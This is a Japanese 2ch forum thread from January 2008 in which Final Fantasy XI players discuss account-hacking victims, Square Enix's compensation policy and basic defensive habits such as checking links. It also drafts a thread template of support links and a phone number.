どんだけセキュリティを強化したところで、
それに甘えて警戒もせずになんでもリンク踏みまくれば感染したって不思議じゃない。
それに甘えて警戒もせずになんでもリンク踏みまくれば感染したって不思議じゃない。
37 ：既にその名前は使われています：2008/01/26(土) 12:49:09.03 ID:Poyyvr+q
そう。自己責任♪
なぜなら規約にそう書いてあるから。
この規約がおかしい！と言い張っても毎回同意してログインしてるのはアナタ♪
なぜなら規約にそう書いてあるから。
この規約がおかしい！と言い張っても毎回同意してログインしてるのはアナタ♪
38 ：既にその名前は使われています：2008/01/26(土) 12:49:32.32 ID:HbL94uAS
39 ：既にその名前は使われています：2008/01/26(土) 12:50:42.48 ID:KS33Kccq
>>32
はい、だから自分も前にそう言ってます。
VBは常に最新の状態にしてると。
ちなみになぜウィルス対策ソフトはVBにしたかというと、
FF関連のウィルス対策はVB（ウィルスバスター）が一番早いって聞いたことがあるからです。
はい、だから自分も前にそう言ってます。
VBは常に最新の状態にしてると。
ちなみになぜウィルス対策ソフトはVBにしたかというと、
FF関連のウィルス対策はVB（ウィルスバスター）が一番早いって聞いたことがあるからです。
40 ：既にその名前は使われています：2008/01/26(土) 12:51:11.91 ID:cYJEJLRc
>>27
自分のプレイしてるゲームのニュースくらいは
毎回ログインする前にしっかりチェックする程度のことはするべきだと思うぞ。
知識や環境がないならネットするな、
ネットしたいなら知識を蓄えて環境を整えろ。そういうことです。
自分のプレイしてるゲームのニュースくらいは
毎回ログインする前にしっかりチェックする程度のことはするべきだと思うぞ。
知識や環境がないならネットするな、
ネットしたいなら知識を蓄えて環境を整えろ。そういうことです。
41 ：既にその名前は使われています：2008/01/26(土) 12:53:11.48 ID:KS33Kccq
42 ：既にその名前は使われています：2008/01/26(土) 12:53:52.59 ID:cYJEJLRc
>>39
一つ聞くが、
もしどこにも告知されてない、ＦＦともまったく関係ないウィルスに感染して
ＰＣやＨＤＤ壊れちゃったらどうするの？ファイル書き換えられちゃったらどうするの？
誰も救済なんてしてくれないよ？
ネットってのはそういう世界なんです。
一つ聞くが、
もしどこにも告知されてない、ＦＦともまったく関係ないウィルスに感染して
ＰＣやＨＤＤ壊れちゃったらどうするの？ファイル書き換えられちゃったらどうするの？
誰も救済なんてしてくれないよ？
ネットってのはそういう世界なんです。
43 ：既にその名前は使われています：2008/01/26(土) 12:54:45.83 ID:cYJEJLRc
44 ：既にその名前は使われています：2008/01/26(土) 12:54:47.09 ID:OtMm5SMi
きっと箱○でプレイしろって言う■eのお告げだな。
45 ：既にその名前は使われています：2008/01/26(土) 12:56:14.81 ID:KS33Kccq
46 ：既にその名前は使われています：2008/01/26(土) 12:57:18.19 ID:dRzhuJVg
えっと皆様
話見てると被害者様は
他人に頼りすぎｗ
身勝手すぎｗ
ナルほどスクエニの苦労がワカルヨ
サポート電話聞いてみたいな今井よりウケるぞきっと
話見てると被害者様は
他人に頼りすぎｗ
身勝手すぎｗ
ナルほどスクエニの苦労がワカルヨ
サポート電話聞いてみたいな今井よりウケるぞきっと
47 ：既にその名前は使われています：2008/01/26(土) 12:57:18.31 ID:axKxtud3
>>41
自己防衛意識が高いやつは毎回チェックしてるだろうし、
そこの手を抜いたところで、ちゃんとわかってるやつは「やっちまった！」で終わる。
知らなかったんだもん！ってぐだぐだ言ってないで、もう少し勉強してから噛み付いておいで。
自己防衛意識が高いやつは毎回チェックしてるだろうし、
そこの手を抜いたところで、ちゃんとわかってるやつは「やっちまった！」で終わる。
知らなかったんだもん！ってぐだぐだ言ってないで、もう少し勉強してから噛み付いておいで。
48 ：既にその名前は使われています：2008/01/26(土) 12:58:38.80 ID:axKxtud3
49 ：既にその名前は使われています：2008/01/26(土) 13:01:49.61 ID:TTOVlzjS
つまりPCは常に垢ハックの危険性があるのは■が警告してないとかどうとか以前の問題で自己責任
垢ハックされたからといって■が救済する必要はない
だが警告をもっとわかりやすくださない■の姿勢も最悪
救済しろと騒ぐのはおかしいが、その姿勢をあらためろと抗議するのはかまわない
って事でいいですか？＾＾
垢ハックされたからといって■が救済する必要はない
だが警告をもっとわかりやすくださない■の姿勢も最悪
救済しろと騒ぐのはおかしいが、その姿勢をあらためろと抗議するのはかまわない
って事でいいですか？＾＾
50 ：既にその名前は使われています：2008/01/26(土) 13:05:49.57 ID:KS33Kccq
まあ、正直盗まれたアイテムに関しては、半ばって言うかほぼ諦めてます。
諦めきれないって言う気持ちが本音ではありますがｗ
でもソフトに頼るって言うのは別に当たり前のことだと思いますよ。
だってそのためのソフトなんですから。
諦めきれないって言う気持ちが本音ではありますがｗ
でもソフトに頼るって言うのは別に当たり前のことだと思いますよ。
だってそのためのソフトなんですから。
51 ：既にその名前は使われています：2008/01/26(土) 13:06:59.24 ID:KS33Kccq
もう５０レス行ったしこの辺でやめときますｗ
52 ：既にその名前は使われています：2008/01/26(土) 13:09:27.48 ID:owFd++bg
PCは家電と違ってそれなりに扱いが難しいってのに
大型家電屋とかが、ゲーム専用機や冷蔵庫、洗濯機なみの扱いで売ってるのも
こういう被害増やすベースにはなってるね
家電屋の店員のセキュリティの認識は、青ざめるほど無知だし
売ってなんぼだから、
そのへんわざと言わないで売り飛ばすからね
大型家電屋とかが、ゲーム専用機や冷蔵庫、洗濯機なみの扱いで売ってるのも
こういう被害増やすベースにはなってるね
家電屋の店員のセキュリティの認識は、青ざめるほど無知だし
売ってなんぼだから、
そのへんわざと言わないで売り飛ばすからね
53 ：既にその名前は使われています：2008/01/26(土) 13:09:41.77 ID:C3mkWZF3
登録された特定のプロバイダ以外から繋げなくするだけでも状況は改善されるかも知れん
54 ：既にその名前は使われています：2008/01/26(土) 13:13:48.87 ID:axKxtud3
諦めきれないって気持ちは、すっごいよくわかるよ。
ほんと、悔しいと思う。
誤解しないでほしいのは、ID:KS33Kccqを「知らないの？ｗ」とバカにしたり「ざまーみろ」と思っているわけではないということ。
確かにそのためのソフトなんだけどさ、万全じゃないんだよ。
ウィルス対策ソフト入れたら安全 っていう認識は甘い。
ソフトによってカバーできる分野も多少の差はあるしね。
自分の経験をいかして、知識が薄そうな周りの人間にも広めてやってくれ。
後、リンク踏む時は
・そのサイト内のURLなのかどうかをカーソル乗せた時の表示でチェック
・外部へのリンクだった場合http://www.aguse.jp/で調べて見る
このあたりはやった方がいいよ。
全部「これから」の話だけどね。
しばらくは凹んで辛いだろうが、がんばれよー
ほんと、悔しいと思う。
誤解しないでほしいのは、ID:KS33Kccqを「知らないの？ｗ」とバカにしたり「ざまーみろ」と思っているわけではないということ。
確かにそのためのソフトなんだけどさ、万全じゃないんだよ。
ウィルス対策ソフト入れたら安全 っていう認識は甘い。
ソフトによってカバーできる分野も多少の差はあるしね。
自分の経験をいかして、知識が薄そうな周りの人間にも広めてやってくれ。
後、リンク踏む時は
・そのサイト内のURLなのかどうかをカーソル乗せた時の表示でチェック
・外部へのリンクだった場合http://www.aguse.jp/で調べて見る
このあたりはやった方がいいよ。
全部「これから」の話だけどね。
しばらくは凹んで辛いだろうが、がんばれよー
55 ：既にその名前は使われています：2008/01/26(土) 13:14:08.75 ID:owFd++bg
>53
それやってほしいよ
それだけでかなりハッキングされる確率減るし、
それやってほしいよ
それだけでかなりハッキングされる確率減るし、
56 ：既にその名前は使われています：2008/01/26(土) 13:14:32.82 ID:HbL94uAS
57 ：既にその名前は使われています：2008/01/26(土) 13:50:09.73 ID:cYJEJLRc
58 ：既にその名前は使われています：2008/01/26(土) 14:02:56.32 ID:owFd++bg
高い授業料が
・国の機密に関わるデータ流出
・犯罪被害者のデータ流出
・カップル間で撮ったエロ画像流出
なんて人達もいるのがネットの世界
・国の機密に関わるデータ流出
・犯罪被害者のデータ流出
・カップル間で撮ったエロ画像流出
なんて人達もいるのがネットの世界
59 ：テンプレ変更について1/3：2008/01/26(土) 14:08:30.73 ID:fC5QmWYq
目的
1の軽量化
現行>>3>>9の統合
スクエニへのリンク
次スレへの言及
◎テンプレ案１
■このスレの目的は アカウントハックの
１：予防・自衛の徹底の周知
２：被害報告の収集
３：罠サイトurlの収集
４：被害者が現れた場合に対処をアドバイスする
前スレ→http://live27.2ch.net/test/read.cgi/ogame/--ここは変更--/
詳細は>>2-10くらい
★age進行(mail欄に何も書かない)でネ実民及びFF11プレイヤーへの周知と啓蒙にご協力ください
★次スレは950が立ててください。規制で立てられない場合は代理申請をお願いします。
1の軽量化
現行>>3>>9の統合
スクエニへのリンク
次スレへの言及
◎テンプレ案１
■このスレの目的は アカウントハックの
１：予防・自衛の徹底の周知
２：被害報告の収集
３：罠サイトurlの収集
４：被害者が現れた場合に対処をアドバイスする
前スレ→http://live27.2ch.net/test/read.cgi/ogame/--ここは変更--/
詳細は>>2-10くらい
★age進行(mail欄に何も書かない)でネ実民及びFF11プレイヤーへの周知と啓蒙にご協力ください
★次スレは950が立ててください。規制で立てられない場合は代理申請をお願いします。
60 ：テンプレ変更について2/3：2008/01/26(土) 14:09:06.77 ID:fC5QmWYq
◎テンプレ案２
■まとめサイト
【FF11】アカウント不正ログイン被害まとめ(過去ログあり)
http://ort.sakura.ne.jp/taisai/
FF11Warning（ハッキングに重点をおいて詳しくまとめてあります）
http://miku.a.orn.jp/miku2/
FFIX Virus問題 まとめサイト（初心者さん向け）
http://www.eonet.ne.jp/~lunaticwaltz/notvirus_ffxi/index.html
■スクエニ公式
http://www.playonline.com/pcd/topics/ff11/detail/2748/detail.htmlスペシャルタスクチームレポート (2008/1/24)
http://www.playonline.com/pcd/topics/ff11/detail/2699/detail.htmlスペシャルタスクチームレポート (2007/12/19
)http://www.playonline.com/ff11/polnews/news11246.shtmlスパイウェアによる不正アクセスにご注意ください(2007/9/7)
http://www.playonline.com/ff11/polnews/news10557.shtml不明な発信元からのスパイウェアと外部ウェブサイトに関する警告(2007/6/9)
http://www.playonline.com/ff11/polnews/news10412.shtml悪意あるプログラムによる被害に関するご注意(2007/5/21)
http://www.playonline.com/ff11/polnews/news10342.shtml悪意あるプログラムへの予防対策(2007/5/11)
■まとめサイト
【FF11】アカウント不正ログイン被害まとめ(過去ログあり)
http://ort.sakura.ne.jp/taisai/
FF11Warning（ハッキングに重点をおいて詳しくまとめてあります）
http://miku.a.orn.jp/miku2/
FFIX Virus問題 まとめサイト（初心者さん向け）
http://www.eonet.ne.jp/~lunaticwaltz/notvirus_ffxi/index.html
■スクエニ公式
http://www.playonline.com/pcd/topics/ff11/detail/2748/detail.htmlスペシャルタスクチームレポート (2008/1/24)
http://www.playonline.com/pcd/topics/ff11/detail/2699/detail.htmlスペシャルタスクチームレポート (2007/12/19
)http://www.playonline.com/ff11/polnews/news11246.shtmlスパイウェアによる不正アクセスにご注意ください(2007/9/7)
http://www.playonline.com/ff11/polnews/news10557.shtml不明な発信元からのスパイウェアと外部ウェブサイトに関する警告(2007/6/9)
http://www.playonline.com/ff11/polnews/news10412.shtml悪意あるプログラムによる被害に関するご注意(2007/5/21)
http://www.playonline.com/ff11/polnews/news10342.shtml悪意あるプログラムへの予防対策(2007/5/11)
61 ：テンプレ変更について3/3：2008/01/26(土) 14:09:40.43 ID:fC5QmWYq
◎テンプレ案３
■被害に遭われている方へ
「ある日突然登録してあるパスワードでログインできなくなった」もしくは「ある日ログインするとキャラクターのアイテムやギルが奪われていた」等の、
不正アクセスと思しき被害にあった場合は、まずサポセンに電話してパスワードの再発行を受けたり、不正アクセスの被害を受けたことを報告しましょう。
☆スクウェア・エニックス インフォメーションセンター
TEL:0570-003-399(PHSからは03-5333-1860）
月曜～金曜 11:00～19:00（土・日・祝・指定休日はお休み）
※サポセンが営業時間外の場合は、別アカウントを所持しているならそれでログインしてGMを呼ぶか、
他にログインできるアカウントがない場合はサポセンが開いてから電話をすることになります。
以下現行テンプレ
>>4-5 >>7/8
■具体的な自衛策
■具体的な自衛策その２
■警察への通報方法
■警察へ行く際に持っていく・用意しておくもの
■被害に遭われている方へ
「ある日突然登録してあるパスワードでログインできなくなった」もしくは「ある日ログインするとキャラクターのアイテムやギルが奪われていた」等の、
不正アクセスと思しき被害にあった場合は、まずサポセンに電話してパスワードの再発行を受けたり、不正アクセスの被害を受けたことを報告しましょう。
☆スクウェア・エニックス インフォメーションセンター
TEL:0570-003-399(PHSからは03-5333-1860）
月曜～金曜 11:00～19:00（土・日・祝・指定休日はお休み）
※サポセンが営業時間外の場合は、別アカウントを所持しているならそれでログインしてGMを呼ぶか、
他にログインできるアカウントがない場合はサポセンが開いてから電話をすることになります。
以下現行テンプレ
>>4-5 >>7/8
■具体的な自衛策
■具体的な自衛策その２
■警察への通報方法
■警察へ行く際に持っていく・用意しておくもの
62 ：既にその名前は使われています：2008/01/26(土) 14:44:39.30 ID:q0Xle+FP
前にウィンドウ化してたらウィンドウが非アクティブになってアイテムロストしたから
GM呼んで説明したら、GMにFFやってる時にアンチウィルスとかファイアーウォール使ってますか？
って聞かれたことあるんだが、■eはFFやってるときは切ってるのを前提にしてるのかな。
無防備な状態推奨ですか？って聞いたらそういう訳ではありませんがFFの動作に
影響のある場合があるからとは言ってたけど。
でわ、推奨する状態を教えてくれって言ったらサポセンに電話してくれって言われた
良くわかってないのかも、セキュリティに関しては
GM呼んで説明したら、GMにFFやってる時にアンチウィルスとかファイアーウォール使ってますか？
って聞かれたことあるんだが、■eはFFやってるときは切ってるのを前提にしてるのかな。
無防備な状態推奨ですか？って聞いたらそういう訳ではありませんがFFの動作に
影響のある場合があるからとは言ってたけど。
でわ、推奨する状態を教えてくれって言ったらサポセンに電話してくれって言われた
良くわかってないのかも、セキュリティに関しては
63 ：既にその名前は使われています：2008/01/26(土) 14:53:49.36 ID:axKxtud3
仮にわかっていても、説明は適所に任せるんじゃないかなあ。
GMはバイトだから専門知識も個人レベルで違うしね。
GMはバイトだから専門知識も個人レベルで違うしね。
64 ：既にその名前は使われています：2008/01/26(土) 14:55:11.22 ID:kl94Wwlu
１０月に不正ログイン被害にあった者ですがＧＭから通知が来ました。
１．警察からアカウント不正ログイン被害と立証されてないので不正ログイン被害とは認めない
２．不正と認められる認められない関わらず盗難されたギル＆アイテムの返還は不可能
３．アカウントに対して１度だけ認められる破棄またはNPCに売却したアイテムの復帰は可能
４．ただしNPC売却に相当するギルを一括で払え！
簡単に説明すると自分の場合、POL側で不正は確認できたがプレイヤーの操作ミス救済として処理するので
NPCに売却＆破棄されたアイテムを取り戻したかったら倉庫キャラ含め総額70万ギル払えと言われました。
アイテムもギルもなにもかも失った人間に対する救済がコレ、どこが救済？？？
ちなみに不正と認められても救済措置に対する内容は変わりません（アカウント一度限りが適応されないだけ
１．警察からアカウント不正ログイン被害と立証されてないので不正ログイン被害とは認めない
２．不正と認められる認められない関わらず盗難されたギル＆アイテムの返還は不可能
３．アカウントに対して１度だけ認められる破棄またはNPCに売却したアイテムの復帰は可能
４．ただしNPC売却に相当するギルを一括で払え！
簡単に説明すると自分の場合、POL側で不正は確認できたがプレイヤーの操作ミス救済として処理するので
NPCに売却＆破棄されたアイテムを取り戻したかったら倉庫キャラ含め総額70万ギル払えと言われました。
アイテムもギルもなにもかも失った人間に対する救済がコレ、どこが救済？？？
ちなみに不正と認められても救済措置に対する内容は変わりません（アカウント一度限りが適応されないだけ
65 ：既にその名前は使われています：2008/01/26(土) 15:02:23.60 ID:UM84WPlc
もう被害者は不正ログイン被害の届け出だして
保証してくれるしてくれないにかかわらず引退した方が今後の被害者のためになるね。
被害者の意思表示として課金しない、それしかない。
でも被害届だけはちゃんと出す。
保証してくれるしてくれないにかかわらず引退した方が今後の被害者のためになるね。
被害者の意思表示として課金しない、それしかない。
でも被害届だけはちゃんと出す。
66 ：既にその名前は使われています：2008/01/26(土) 15:02:38.03 ID:C3mkWZF3
１．警察からアカウント不正ログイン被害と立証されてないので不正ログイン被害とは認めない
これは■eが届出を出さない＆ログ提出しないからじゃね
これは■eが届出を出さない＆ログ提出しないからじゃね
67 ：既にその名前は使われています：2008/01/26(土) 15:16:40.94 ID:6ms5mAre
何かログインするのが怖くなるな。
68 ：既にその名前は使われています：2008/01/26(土) 15:22:38.64 ID:b8njVBQ2
>>64
お疲れさま。なんつーか事実上の引退勧告だよな。
スクエニにとっては被害者を救済する事より、架空世界の経済の方が大事なんだな。
毎月業者に何十億ギルと引き出されているくせに。
このままでは不満を撒き散らしたまま引退する被害者が増えるだけで、
コミュニティには良いことなんて一つも無いと思うけど。
MMOにとっては運営に対する不信がつのる事、コミュニティが歯抜けになるって事は
致命的なハズなんだが…。
ここまで被害が広がっているのに救済には本腰を入れず、
システムメッセージでの啓蒙すらしないって楽観視しすぎじゃないか？
大規模な犯罪の標的になっているって事を認識すべきじゃないか？
お疲れさま。なんつーか事実上の引退勧告だよな。
スクエニにとっては被害者を救済する事より、架空世界の経済の方が大事なんだな。
毎月業者に何十億ギルと引き出されているくせに。
このままでは不満を撒き散らしたまま引退する被害者が増えるだけで、
コミュニティには良いことなんて一つも無いと思うけど。
MMOにとっては運営に対する不信がつのる事、コミュニティが歯抜けになるって事は
致命的なハズなんだが…。
ここまで被害が広がっているのに救済には本腰を入れず、
システムメッセージでの啓蒙すらしないって楽観視しすぎじゃないか？
大規模な犯罪の標的になっているって事を認識すべきじゃないか？
69 ：既にその名前は使われています：2008/01/26(土) 15:32:01.81 ID:zuVfjmr1
>カップル間で撮ったエロ画像流出
ケツ毛バーガー事件は女に全く落ち度が無いだけに不憫だったな。
ケツ毛バーガー事件は女に全く落ち度が無いだけに不憫だったな。
70 ：既にその名前は使われています：2008/01/26(土) 15:35:36.18 ID:yvt/JFox
>>69
落ち度はあんな写真を撮らせたことだな
落ち度はあんな写真を撮らせたことだな
71 ：既にその名前は使われています：2008/01/26(土) 15:42:50.08 ID:kl94Wwlu
正直、第三者の手に渡ったアイテムは諦めてたがギルや店売りされたアイテムは帰ってるんじゃないかと希望持ってました
まさかギル返還どころかギル要求されるとはアハハハハハハハｈ
だれかポルナレフＡＡよろ
まさかギル返還どころかギル要求されるとはアハハハハハハハｈ
だれかポルナレフＡＡよろ
72 ：既にその名前は使われています：2008/01/26(土) 15:59:26.66 ID:zuVfjmr1
復帰する前に言っておくッ！
おれは今■eの対応をほんのちょっぴりだが体験した
い…いや…体験したというよりはまったく理解を超えていたのだが……
,. -‐'''''""¨¨¨ヽ
(.＿＿_,,,... -ｧァﾌ| あ…ありのまま 今 起こった事を話すぜ！
|i i| }! }} /／|
|l､{ j} /,,ｨ//｜ 『ギルを返して欲しくば
i|:!ヾ､_ﾉ／ u {:}//ﾍ ギルを払えと言われた』
|ﾘ u' } ,ﾉ _,!V,ﾊ |
／´fト､_{ﾙ{,ィ'ｅﾗ , ﾀ人 な… 何を言ってるのか わからねーと思うが
/' ヾ|宀| {´,)⌒`/ |<ヽﾄiゝ おれも何をされたのかわからなかった…
,ﾞ ／ )ヽ iLﾚ u' | | ヾｌﾄﾊ〉
|／_／ ﾊ !ニ⊇ '／:} V:::::ヽ 頭がどうにかなりそうだった…
/／ 二二二7'T'' ／u' __ /:::::::/｀ヽ
/'´r -―一ｧ‐ﾞＴ´ '"´ ／::::／-‐ ＼ 被害者は■eだとか立件されてないだとか
/ // 广¨´ /' ／:::::／´￣｀ヽ ⌒ヽ そんなチャチなもんじゃあ 断じてねえ
ﾉ ' / ノ:::::`ー-､___／:::::／/ ヽ }
_／｀丶 /::::::::::::::::::::::::::￣`ー-{:::... ｲ もっと恐ろしいものの片鱗を味わったぜ…
おれは今■eの対応をほんのちょっぴりだが体験した
い…いや…体験したというよりはまったく理解を超えていたのだが……
,. -‐'''''""¨¨¨ヽ
(.＿＿_,,,... -ｧァﾌ| あ…ありのまま 今 起こった事を話すぜ！
|i i| }! }} /／|
|l､{ j} /,,ｨ//｜ 『ギルを返して欲しくば
i|:!ヾ､_ﾉ／ u {:}//ﾍ ギルを払えと言われた』
|ﾘ u' } ,ﾉ _,!V,ﾊ |
／´fト､_{ﾙ{,ィ'ｅﾗ , ﾀ人 な… 何を言ってるのか わからねーと思うが
/' ヾ|宀| {´,)⌒`/ |<ヽﾄiゝ おれも何をされたのかわからなかった…
,ﾞ ／ )ヽ iLﾚ u' | | ヾｌﾄﾊ〉
|／_／ ﾊ !ニ⊇ '／:} V:::::ヽ 頭がどうにかなりそうだった…
/／ 二二二7'T'' ／u' __ /:::::::/｀ヽ
/'´r -―一ｧ‐ﾞＴ´ '"´ ／::::／-‐ ＼ 被害者は■eだとか立件されてないだとか
/ // 广¨´ /' ／:::::／´￣｀ヽ ⌒ヽ そんなチャチなもんじゃあ 断じてねえ
ﾉ ' / ノ:::::`ー-､___／:::::／/ ヽ }
_／｀丶 /::::::::::::::::::::::::::￣`ー-{:::... ｲ もっと恐ろしいものの片鱗を味わったぜ…
73 ：既にその名前は使われています：2008/01/26(土) 16:12:42.10 ID:DYNnbnRf
被害が実際にあり■側もSTTの報告で救済策を検討していると問題の解決に前向きであるのに
自己責任がどうとか延々言い続けて泣き寝入りにもっていこうと必死な奴らが複数いるな
>>64
斜め下なんかじゃない、真下の床が抜けたような対応だなｗｗｗ
自己責任がどうとか延々言い続けて泣き寝入りにもっていこうと必死な奴らが複数いるな
>>64
斜め下なんかじゃない、真下の床が抜けたような対応だなｗｗｗ
74 ：既にその名前は使われています：2008/01/26(土) 16:18:29.83 ID:DYNnbnRf
ていうか>>64の内容だとしたらRMT容疑をかけられて処分される可能性もあるなｗｗｗｗｗｗ
そのキャラからアイテムやギルが業者に渡っているんだし
そのキャラからアイテムやギルが業者に渡っているんだし
75 ：既にその名前は使われています：2008/01/26(土) 16:34:57.99 ID:fC5QmWYq
76 ：既にその名前は使われています：2008/01/26(土) 16:40:05.99 ID:KS33Kccq
なんかもうダメな気がしてきたｗ
/comfort >>64
/comfort >>64
77 ：既にその名前は使われています：2008/01/26(土) 16:45:39.24 ID:DYNnbnRf
78 ：既にその名前は使われています：2008/01/26(土) 16:51:25.29 ID:fC5QmWYq
いままでの報告見てきて
可能性はあるが 不正アクセスとは認められない 見たいな感じで
スクエニが 不正アクセスって認めたのなかったと思うんだよね。
なんで 興味があった。
可能性はあるが 不正アクセスとは認められない 見たいな感じで
スクエニが 不正アクセスって認めたのなかったと思うんだよね。
なんで 興味があった。
79 ：既にその名前は使われています：2008/01/26(土) 16:52:23.48 ID:HbL94uAS
>>64
君。警察に行っていないでしょ？
君。警察に行っていないでしょ？
80 ：既にその名前は使われています：2008/01/26(土) 16:54:21.62 ID:nNvMOqqI
81 ：既にその名前は使われています：2008/01/26(土) 16:55:11.78 ID:kl94Wwlu
>>77の説明通りです
あと立証されようがされまいが、救済措置の内容は変わりません！
あと立証されようがされまいが、救済措置の内容は変わりません！
82 ：既にその名前は使われています：2008/01/26(土) 16:56:04.14 ID:6A+YpFKY
前スレでも提案したんだけど、一斉に課金停止しない？３ヶ月はキャラ残るんだし、どうかな。勿論被害届は出してから。
83 ：既にその名前は使われています：2008/01/26(土) 16:58:48.07 ID:HbL94uAS
>>82
それは被害者同盟でも立ち上げないと・・・
それは被害者同盟でも立ち上げないと・・・
84 ：既にその名前は使われています：2008/01/26(土) 16:59:46.54 ID:DYNnbnRf
85 ：既にその名前は使われています：2008/01/26(土) 17:03:44.10 ID:6A+YpFKY
86 ：既にその名前は使われています：2008/01/26(土) 17:05:03.05 ID:kl94Wwlu
ぶっちゃけアカハック被害を受けたら課金停止が（精神的にも）一番被害が少ないという現実
◆ｅに期待するだけ無駄、無駄、無駄（ｒ
もうね被害食らった当日よりも凹みました。
◆ｅに期待するだけ無駄、無駄、無駄（ｒ
もうね被害食らった当日よりも凹みました。
87 ：既にその名前は使われています：2008/01/26(土) 17:05:32.07 ID:TazKZ8v/
>>64は釣り？
４とか意味わからんのだけど
「ＮＰＣに売却されてた場合、売却相当のギルなら返せる」って話は聞いた気がするけど
頭に血が昇りすぎで勘違いしてないか？
救済措置については、今のルールじゃ救済できないから
救済できるように検討だけはしてるぽいよ
でも、アイテム救済が難しいのはどこのゲームでも同じ
４とか意味わからんのだけど
「ＮＰＣに売却されてた場合、売却相当のギルなら返せる」って話は聞いた気がするけど
頭に血が昇りすぎで勘違いしてないか？
救済措置については、今のルールじゃ救済できないから
救済できるように検討だけはしてるぽいよ
でも、アイテム救済が難しいのはどこのゲームでも同じ
88 ：既にその名前は使われています：2008/01/26(土) 17:05:34.46 ID:UM84WPlc
89 ：既にその名前は使われています：2008/01/26(土) 17:08:33.13 ID:nNvMOqqI
90 ：既にその名前は使われています：2008/01/26(土) 17:13:19.27 ID:6A+YpFKY
91 ：既にその名前は使われています：2008/01/26(土) 17:14:12.75 ID:DYNnbnRf
92 ：既にその名前は使われています：2008/01/26(土) 17:14:50.61 ID:6A+YpFKY
93 ：既にその名前は使われています：2008/01/26(土) 17:19:51.47 ID:kl94Wwlu
>>87
ＧＭ>NPCへ売却されているアイテムにつきましては、誠に恐縮ではございますが、NPCへ売却されていたギルと交換になります。
NPCに売却されたアイテムを復帰させたいなら売却相当のギルを一括で支払えとの事
また破棄されたアイテムも同タイミングで返却するのでギル支払えるまで返還されません。
冗談みたいな話だが、釣りでもなんでもない事実
ＧＭ>NPCへ売却されているアイテムにつきましては、誠に恐縮ではございますが、NPCへ売却されていたギルと交換になります。
NPCに売却されたアイテムを復帰させたいなら売却相当のギルを一括で支払えとの事
また破棄されたアイテムも同タイミングで返却するのでギル支払えるまで返還されません。
冗談みたいな話だが、釣りでもなんでもない事実
94 ：既にその名前は使われています：2008/01/26(土) 17:22:17.44 ID:UM84WPlc
>>90
やっぱこのまま放置したらダメだもんな～何か苦情入れてから停止しなくてはw
やっぱこのまま放置したらダメだもんな～何か苦情入れてから停止しなくてはw
95 ：既にその名前は使われています：2008/01/26(土) 17:23:17.97 ID:DYNnbnRf
>>93
完全に「アイテム救済サービス」を適用してる対応だな、調査でPOLの不正が確認できた、なんて無意味だったって事か
完全に「アイテム救済サービス」を適用してる対応だな、調査でPOLの不正が確認できた、なんて無意味だったって事か
96 ：既にその名前は使われています：2008/01/26(土) 17:26:25.03 ID:TazKZ8v/
97 ：既にその名前は使われています：2008/01/26(土) 17:36:51.36 ID:TazKZ8v/
98 ：既にその名前は使われています：2008/01/26(土) 17:41:36.35 ID:6A+YpFKY
>>94
うん。このまま放置は悔しいよね。チリも積もればで、たくさんの人が課金停止してくれたらいいな。
うん。このまま放置は悔しいよね。チリも積もればで、たくさんの人が課金停止してくれたらいいな。
99 ：既にその名前は使われています：2008/01/26(土) 17:48:49.43 ID:KS33Kccq
売り上げが１０％減って騒いでる今なら好機かも？
100 ：既にその名前は使われています：2008/01/26(土) 17:54:23.71 ID:6A+YpFKY
ナイス(^O^)/是非みなでやろう！
そして100ｹﾞﾄ☆
そして100ｹﾞﾄ☆
101 ：既にその名前は使われています：2008/01/26(土) 17:58:12.21 ID:DYNnbnRf
アルタナで金取っておきながら-10.2%の現状だと
わざわざ声を出すまでもなく来月から課金数はさらに減るだろうな、被害者とかそういうの関係なしに。
わざわざ声を出すまでもなく来月から課金数はさらに減るだろうな、被害者とかそういうの関係なしに。
102 ：既にその名前は使われています：2008/01/26(土) 18:25:16.41 ID:gqOeIPT6
>>64
同じ被害者として「まだ諦めるな！」と俺は言おう。
最近ここに来た（ちょっと前のスレを見てない）人は解らないかもしれないが、このポリシー内での対応はこのスレでは2件目になるだろうか。
実際今回のがみんなが知りうる2人目の救済人物になる。
前回のコテの方は認定があって、同様に店売り＆廃棄品を売却相当額と引き換えに返還してくれた。
今回の64さんは、警察の認定が無いが、店売り＆廃棄品は売却相当額を払いさえすれば返還してくれそうだ。
今回が前回のコテ持ちの人と違っているのは、警察の認定が無いという事。
これがどういう事になるのかというと、丁度タイムリーに俺がGMに聞いた事の中から説明しよう。
同じ被害者として「まだ諦めるな！」と俺は言おう。
最近ここに来た（ちょっと前のスレを見てない）人は解らないかもしれないが、このポリシー内での対応はこのスレでは2件目になるだろうか。
実際今回のがみんなが知りうる2人目の救済人物になる。
前回のコテの方は認定があって、同様に店売り＆廃棄品を売却相当額と引き換えに返還してくれた。
今回の64さんは、警察の認定が無いが、店売り＆廃棄品は売却相当額を払いさえすれば返還してくれそうだ。
今回が前回のコテ持ちの人と違っているのは、警察の認定が無いという事。
これがどういう事になるのかというと、丁度タイムリーに俺がGMに聞いた事の中から説明しよう。
103 ：102：2008/01/26(土) 18:38:08.18 ID:gqOeIPT6
警察の捜査により犯罪性が認定された場合。これは現状の規定にもある、「1度限りのアイテム救済を認める」の一度限りという物が適用されない事になる。
犯罪により店売り＆廃棄処分になってものは、このルールが適用されず将来自分が使いたい時のために一度限りを持ち越す事が出来るとの事だ。
■の独自調査により不正（かどうかを■には決められない）アクセスの可能性が認められれば、一度限りルールを適用するのだろう。
話は変わって、
俺は被害を受けて即警察に行っているが、サイバーの進めた地元所轄の対応が悪く、警察の認定が受けれないかも知れないことを危惧していた。
警察が不正アクセスの対応になれておらず、門前払いを喰らってしまうようなケースにおいて、「■から警察に連絡をする」という記事を載せたブログが紹介されたことがある。
犯罪により店売り＆廃棄処分になってものは、このルールが適用されず将来自分が使いたい時のために一度限りを持ち越す事が出来るとの事だ。
■の独自調査により不正（かどうかを■には決められない）アクセスの可能性が認められれば、一度限りルールを適用するのだろう。
話は変わって、
俺は被害を受けて即警察に行っているが、サイバーの進めた地元所轄の対応が悪く、警察の認定が受けれないかも知れないことを危惧していた。
警察が不正アクセスの対応になれておらず、門前払いを喰らってしまうようなケースにおいて、「■から警察に連絡をする」という記事を載せたブログが紹介されたことがある。
104 ：102：2008/01/26(土) 18:56:56.83 ID:gqOeIPT6
それが真実で■から何とかしてもらえるのかどうかGMに聞いてみた。
その前に、警察に対して電話をしたところ、「やってるけど双方忙しくてね。まだですわ。」の反応だった。
2ヶ月前の話しだし、多分■にすら連絡してないだろうと思い、警察から■へ捜査協力要請は来ているかどうか？
